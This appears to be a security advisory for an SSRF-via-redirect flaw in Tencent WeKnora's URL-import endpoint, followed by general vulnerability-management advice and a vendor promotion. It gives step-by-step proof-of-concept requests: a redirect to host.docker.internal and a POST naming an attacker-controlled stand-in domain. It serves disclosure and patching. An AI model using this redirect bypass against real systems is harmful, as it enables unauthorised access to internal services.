The application's "Import document via URL" feature is vulnerable to Server-Side Request Forgery (SSRF) through HTTP redirects. While the backend implements comprehensive URL validation (blocking private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints), it fails to validate redirect targets. An attacker can bypass all protections by using a redirect chain, forcing the server to access internal services. Additionally, Docker-specific internal addresses like host.docker.internal are not blocked.
The /api/v1/knowledge-bases/{id}/knowledge/url endpoint validates the initial URL but follows HTTP redirects without re-validating the destination. This allows attackers to:
IsSSRFSafeURL() function (in internal/utils/security.go) validates the initial URL thoroughly, but there's no validation of HTTP redirect targetshost.docker.internal is not in the restrictedHostnames listparsed.Hostname() from the initial URL, but redirect Location headers bypass this checkThe backend makes the security mistake of trusting the server's HTTP client library to be secure. In Go, when using http.Get() or similar functions, the standard library will automatically follow redirects up to 10 times by default. The SSRF validation only checks the URL passed to the endpoint, not intermediate redirects.
Step 1: Set up an attacker-controlled server that responds with a redirect:
HTTP/1.1 307 Temporary Redirect
Location: http://host.docker.internal:7777
Content-Type: text/html
Access-Control-Allow-Origin: *
Step 2: Send the request with a clean URL:
POST /api/v1/knowledge-bases/dbadd153-9e60-4213-9553-9f78dbcba0dc/knowledge/url HTTP/1.1
Host: localhost
Content-Type: application/json
Authorization: Bearer <valid_token>
{"url":"https://attacker-domain.com","tag_id":""}
The URL https://attacker-domain.com passes all validation checks because:
✓ Valid https:// scheme
✓ Not an IP address (it's a domain)
✓ Not in restricted hostnames
✓ Doesn't resolve to a private IP (assuming attacker controls a public domain)
Step 3: The backend's HTTP client follows the redirect to http://host.docker.internal:7777, which:
✗ Is not validated
✗ host.docker.internal is not in the blocklist
✗ Successfully accesses the internal service
Vulnerability Type: Server-Side Request Forgery (SSRF) via HTTP Redirect
Who is Impacted:
Potential Consequences:
CVSS Score: 7.5 (High) - Could be higher depending on what's exposed
| Software | From | Fixed in |
|---|---|---|
github.com/Tencent/WeKnora
|
- | 0.2.12 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.